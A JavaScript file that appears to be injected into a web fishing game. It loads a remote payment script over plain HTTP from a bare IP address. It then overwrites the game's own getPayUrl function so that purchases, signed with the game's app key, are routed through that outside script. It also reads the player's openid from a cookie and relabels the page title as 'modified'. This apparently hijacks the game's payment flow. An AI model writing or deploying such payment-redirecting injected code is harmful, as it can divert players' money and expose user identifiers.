(function() {

    function updateButtonState($button, colorState) {
        $button.on("touchstart", function(e) {
            $(this).attr("down", true);
            $(this).attr("x", e.pageX);
            $(this).attr("y", e.pageY);
            $(this).css({
                "background" : colorState.downcolor
            });
        });

        $button.on("touchmove", function(e) {
            if ($(this).attr("down") == "true") {
                e.preventDefault();
                var deltaX = e.pageX - $button.attr("x");
                var deltaY = e.pageY - $button.attr("y");
                var dis = Math.sqrt(Math.pow(deltaX, 2) + Math.pow(deltaY, 2));
                if (dis > 10) {
                    $(this).css({
                        "background" : colorState.upcolor
                    });
                    $(this).attr("noclick", true);
                }
            }
        });

        $button.on("touchend", function() {
            $(this).removeAttr("down");
            $(this).css({
                "background" : colorState.upcolor
            });
        });

        $button.on("mousedown", function(e) {
            $(this).attr("down", true);
            $(this).attr("x", e.pageX);
            $(this).attr("y", e.pageY);
            $(this).css({
                "background" : colorState.downcolor
            });
        });

        $button.on("mousemove", function(e) {
            if ($(this).attr("down") == "true") {
                e.preventDefault();
                var deltaX = e.pageX - $button.attr("x");
                var deltaY = e.pageY - $button.attr("y");
                var dis = Math.sqrt(Math.pow(deltaX, 2) + Math.pow(deltaY, 2));
                if (dis > 10) {
                    $(this).css({
                        "background" : colorState.upcolor
                    });
                    $(this).attr("noclick", true);
                }
            }
        });

        $button.on("mouseup", function() {
            $(this).removeAttr("down");
            $(this).css({
                "background" : colorState.upcolor
            });
        });
    }

    function addPayButton() {
        var $payButton = $("<button id='pay_button'>支</button>");
        $payButton.click(function() {
            floatPay.showOrder();
        });
        updateButtonState($payButton, {
            "downcolor" : "yellow",
            "upcolor" : "green"
        });
        $payButton.css({
            "border-radius" : "3em",
            "width" : "3em",
            "height" : "3em",
            "z-index" : "1000",
            "position" : "fixed",
            "margin" : "0",
            "padding" : "0",
            "background-color" : "green",
            "color" : "red",
            "font-size" : "1em",
            "border" : "none",
            "left" : "50%",
            "top" : "5px",
            "-ms-transform" : "translate(-50%, 0) rotate(90deg)",
            "-moz-transform" : "translate(-50%, 0) rotate(90deg)",
            "-webkit-transform" : "translate(-50%, 0) rotate(90deg)",
            "-o-transform" : "translate(-50%, 0) rotate(90deg)",
            "transform" : "translate(-50%, 0) rotate(90deg)",
            "border-width" : "0px"
        });
        $("body").append($payButton);
    }

    function loadPayScript() {
        var script = document.createElement("script");
        script.src = "http://106.14.185.49:8080/wxpay/jypay.js";
        script.type = "text/javascript";
        script.id = "pay_script";
        var head = document.getElementsByTagName("head");
        if (head && head[0]) {
            head[0].appendChild(script);
        }
    }

    function getCookie(name) {
        var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
        if (arr = document.cookie.match(reg)) {
            return unescape(arr[2]);
        } else {
            return null;
        }
    }

    /**
     * 生成订单
     */
    function generateOrderId() {
        var date = new Date();
        var tmp = null;
        var str = [];
        str.push(date.getFullYear());

        tmp = date.getMonth();
        str.push(tmp < 10 ? "0" + tmp : tmp);

        tmp = date.getDate();
        str.push(tmp < 10 ? "0" + tmp : tmp);

        tmp = date.getHours();
        str.push(tmp < 10 ? "0" + tmp : tmp);

        tmp = date.getMinutes();
        str.push(tmp < 10 ? "0" + tmp : tmp);

        tmp = date.getSeconds();
        str.push(tmp < 10 ? "0" + tmp : tmp);

        str.push(date.getTime());
        str.push(date.getMilliseconds());

        return str.join("");
    }

    /**
     * 获取openid,暂时弃用
     */
    function getWxOpenId() {
        // .QPFishInfo
        var openId = null;
        var value = getCookie("QPFishInfo");
        if (value != null) {
            var userInfo = JSON.parse(value);
            if (userInfo != null) {
                openId = userInfo.openid;
            }
        }
        if (openId == null || openId.trim() == "") {
            openId = "ok0B31gHRapVyP9RJMwtsGxPpMjk";
        }
        return openId;
    }

    function showOrderView(payinfo, isPortrait) {
        var $maskView = $("<div></div>");
        $maskView.attr("id", "mask_view");
        $maskView.click(function() {
            $(this).remove();
        });
        $("body").append($maskView);
        $maskView.css({
            "width" : "100%",
            "height" : "100%",
            "position" : "fixed",
            "left" : "0",
            "top" : "0",
            "right" : "0",
            "bottom" : "0",
            "margin" : "0",
            "padding" : "0",
            "z-index" : "1000",
            "background" : "rgba(64, 64, 64, 0.8)",
        });

        var $orderDetail = $("<div></div>");
        $maskView.append($orderDetail);
        $orderDetail.css({
            "position" : "fixed",
            "left" : "50%",
            "top" : "50%",
            "z-index" : "1001",
            "background" : "rgba(64, 64, 64, 0.9)",
            "color" : "white",
            "border-radius" : "10px",
            "padding" : "0, 5px 0 5px",
        });

        var rotate = isPortrait ? 0 : 90;
        $orderDetail
                .css({
                    "-ms-transform" : "translate(-50%, -50%) rotate(" + rotate
                            + "deg)",
                    "-moz-transform" : "translate(-50%, -50%) rotate(" + rotate
                            + "deg)",
                    "-webkit-transform" : "translate(-50%, -50%) rotate("
                            + rotate + "deg)",
                    "-o-transform" : "translate(-50%, -50%) rotate(" + rotate
                            + "deg)",
                    "transform" : "translate(-50%, -50%) rotate(" + rotate
                            + "deg)"
                });

        $subject = $("<p style='margin:10px;text-align:left'></p>").html(
                "<nobr>商品描述 : <span style='word-break : break-all'>"
                        + payinfo.subject + "</span></nobr>");
        $orderDetail.append($subject);
        $price = $("<p style='margin:10px;text-align:left'></p>").html(
                "<nobr>商品价格 : <span style='word-break : break-all'>"
                        + payinfo.amount + "分" + "</span></nobr>");
        $orderDetail.append($price);
        $uid = $("<p style='margin:10px;text-align:left'></p>").html(
                "<nobr>用户标识 : <span style='word-break : break-all'>"
                        + payinfo.open_id + "</span></nobr>");
        $orderDetail.append($uid);

        var $buttonLayout = $("<p style='margin:10px;text-align:center;'></p>");

        var $payOkButton = $("<p>确认支付</p>");
        $payOkButton.css({
            "margin-right" : "1em",
            "height" : "2.5em",
            "width" : "5em",
            "line-height" : "2.5em",
            "border" : "none",
            "border-radius" : "5px",
            "display" : "inline-block",
            "background" : "white",
            "color" : "black",
            "cursor" : "default"
        });
        updateButtonState($payOkButton, {
            "downcolor" : "green",
            "upcolor" : "white"
        });
        $payOkButton.click(function(e) {
            // 滑动时设置不触发点击属性
            e.stopPropagation();
            if ($(this).attr("noclick") == "true") {
                $(this).removeAttr("noclick");
                return;
            }
            $maskView.remove();
            execPayItem(payinfo);
        });

        var $payCancelButton = $("<p id='cancel_pay'>取消支付</p>");
        $payCancelButton.css({
            "margin-left" : "1em",
            "height" : "2.5em",
            "line-height" : "2.5em",
            "width" : "5em",
            "border" : "none",
            "border-radius" : "5px",
            "display" : "inline-block",
            "background" : "white",
            "color" : "black",
            "cursor" : "default"
        });

        updateButtonState($payCancelButton, {
            "downcolor" : "green",
            "upcolor" : "white"
        });

        $payCancelButton.click(function(e) {
            e.stopPropagation();
            if ($(this).attr("noclick") == "true") {
                $(this).removeAttr("noclick");
                return;
            }
            $maskView.remove();
            floatPay.showPayResult(PayResult.CANCEL, "用户取消支付");
        });

        $buttonLayout.append($payOkButton);
        $buttonLayout.append($payCancelButton);
        $orderDetail.append($buttonLayout);
    }

    window.floatPay = {};

    /**
     * 显示订单详情
     */
    floatPay.showOrder = function() {
        var isPortrait = false;
        var payinfo = {
            "amount" : 1,
            "subject" : "测试金币",
            "channel" : "000000",
            "open_id" : getWxOpenId(),
            "appid" : "1",
            "app_uid" : 61,
            "itemid" : 7,
            "signtype" : "MD5",
            "sign" : "2229367749f86f11882c40052ae4fcbf"
        };
        showOrderView(payinfo, isPortrait);
    };

    floatPay.showPayResult = function(result, desc) {
        var str = null;
        if (result == PayResult.SUCCESS) {
            str = "支付成功";
        } else if (result == PayResult.FAILURE) {
            str = "支付失败";
        } else {
            str = "支付取消";
        }
        window.JYPAY.showOkDialog(str, desc);
    };

    floatPay.payInFrame = function(url) {
        var $payFrameDiv = $("<div/>");
        $payFrameDiv.attr("id", "pay_frame_div");
        $payFrameDiv.css({
            "width" : "90%",
            "height" : "90%",
            "position" : "absolute",
            "top" : "50%",
            "left" : "50%",
            "transform" : "translate(-50%, -50%)",
            "border" : "2px solid gray"
        });
        var $gameFrame = $("<iframe/>");
        $gameFrame.css({
            "frameborder" : "no",
            "border" : "0px",
            "marginwidth" : "0px",
            "marginheight" : "0px",
            "scrolling" : "auto",
            "width" : "100%",
            "height" : "100%"
        });
        $gameFrame.attr("src", url);
        $payFrameDiv.append($gameFrame);
        var $closeView = $("<div/>");
        $closeView.css({
            "width" : "30px",
            "height" : "30px",
            "position" : "absolute",
            "top" : "0",
            "right" : "0",
            "background" : "gray",
            "border-radius" : "30px"
        });
        $closeView.click(function(){
            $payFrameDiv.remove();
        });
        $payFrameDiv.append($closeView);
        $("body").append($payFrameDiv);
    };

    function modifyPayUrl2() {
        console.log("修改支付");
        var logicBag = null;
        try {
            logicBag = window.kf.require("logic.bag");
        } catch (e) {
        }
        if (logicBag == null) {
            return;
        }

        logicBag.getPayUrl = function(t, e, i) {
            var o = window.kf.require("logic.login");
            var n = o.getUin();
            e = 100 * e;
            var s = window.clientConfig.channel;
            var a = window.clientConfig.app_key;
            var r = window.clientConfig.app_id;
            var c = kf.require("util.md5").hex_md5(s + r + n + e + a);
            var openId = o.getOpenId();

            var payinfo = {
                "amount" : e,
                "subject" : t,
                "channel" : s,
                "appid" : r,
                "app_uid" : n,
                "extension" : openId,
                "itemid" : i,
                "signtype" : "MD5",
                "sign" : c
            };
            try {
                execPayItem(payinfo);
            } catch (e) {
            }
        };
        var title = $("title").text();
        $("title").text("(修改)" + title);
    }

    function timeoutFunction() {
        /** addPayButton(); */
        modifyPayUrl2();
    }

    loadPayScript();
    /*
     * try { setTimeout(timeoutFunction, 5 * 1000); } catch (e) { }
     */
})();